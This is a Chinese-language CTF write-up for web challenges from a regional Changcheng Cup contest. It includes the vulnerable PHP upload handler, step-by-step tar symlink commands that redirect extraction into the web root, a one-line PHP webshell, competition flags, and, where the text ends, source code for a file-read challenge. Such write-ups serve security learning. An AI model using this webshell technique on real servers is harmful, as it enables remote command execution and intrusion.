第五届长城杯（京津冀蒙版）WEB全解

文曲签学

访问是一个可以交互的查询器

1	flag{1d067833-647f-4815-b760-01e875da2395}

EZ_upload

文件上传类题目，先随便上传一个文件：

源码：

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>

此题可参考CISCN2023的unzip这道题，区别在于一个用的zip，一个用的tar。

题目限定了上传目录为/tmp，正常情况下我们无法访问到，但是可以通过软链接的形式，将/tmp/link软链接到/var/www/html，这样子我们把文件解压到/tmp/link，实际上就是解压到/var/www/html

那么首先打包软链接，tar默认是会保留符号软链接的，不需要手动指定：

1 2	ln -s /var/www/html link tar -cvf link.tar link

把软链接删掉，避免重名文件夹：

1	unlink link

创建木马：

1
2
3

mkdir link
echo "<?php system(\$_REQUEST['cmd']);?>" > link/shell.php
tar -cvf shell.tar link/*

依次上传link.tar和shell.tar

1	flag{bfc6d5a1-bbc4-4250-b66b-327fae13ca15}

SeRce

访问得到源码：

<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
    if(serialize(unserialize($exp)) != $exp){
        $data = file_get_contents($_POST['filetoread']);
        echo "File Contents: $data";
    }
}